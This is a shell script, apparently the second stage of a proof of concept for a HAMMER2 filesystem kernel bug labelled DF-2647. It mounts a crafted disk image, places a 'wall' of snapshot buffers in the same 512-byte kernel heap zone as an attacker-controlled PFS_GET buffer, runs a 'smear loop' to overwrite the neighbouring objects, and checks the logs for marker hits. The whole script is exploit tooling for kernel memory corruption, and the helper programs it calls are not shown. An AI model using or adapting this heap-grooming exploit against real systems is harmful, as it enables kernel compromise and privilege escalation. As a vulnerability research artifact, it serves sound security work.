#!/bin/sh
# DF-2647 stage 2: deterministic cross-object overwrite demo.
# A wall of parked HAMMER2IOC_PFS_SNAPSHOT buffers (long-lived in-kernel,
# same 512-byte malloc zone as the attacker's PFS_GET buffer) + the
# attacker's PFS_GET smear loop.
set -e
IMG=${1:-/root/poc/h2_2647_0300.img}
cd /root/poc
vnconfig -u vn0 2>/dev/null || true
umount /mnt/h2 2>/dev/null || true
vnconfig -c vn0 $IMG
mount -t hammer2 /dev/vn0@testvol /mnt/h2
rm -f /tmp/victim_hit_*
( ./pfsnap_victim /mnt/h2 120 > /tmp/wall.log 2>&1 ) &
WALL=$!
sleep 2		# let the wall park on bulklk
./pfsget_scan /mnt/h2 30 10000 > /tmp/scan.log 2>&1
tail -2 /tmp/scan.log
wait $WALL; RC=$?
grep -c "MARKER HIT" /tmp/wall.log || true
ls /tmp/victim_hit_* 2>/dev/null | head -5 || echo "no hit files"
echo "WALL_RC=$RC"
umount /mnt/h2
vnconfig -u vn0
echo SURGICAL2_DONE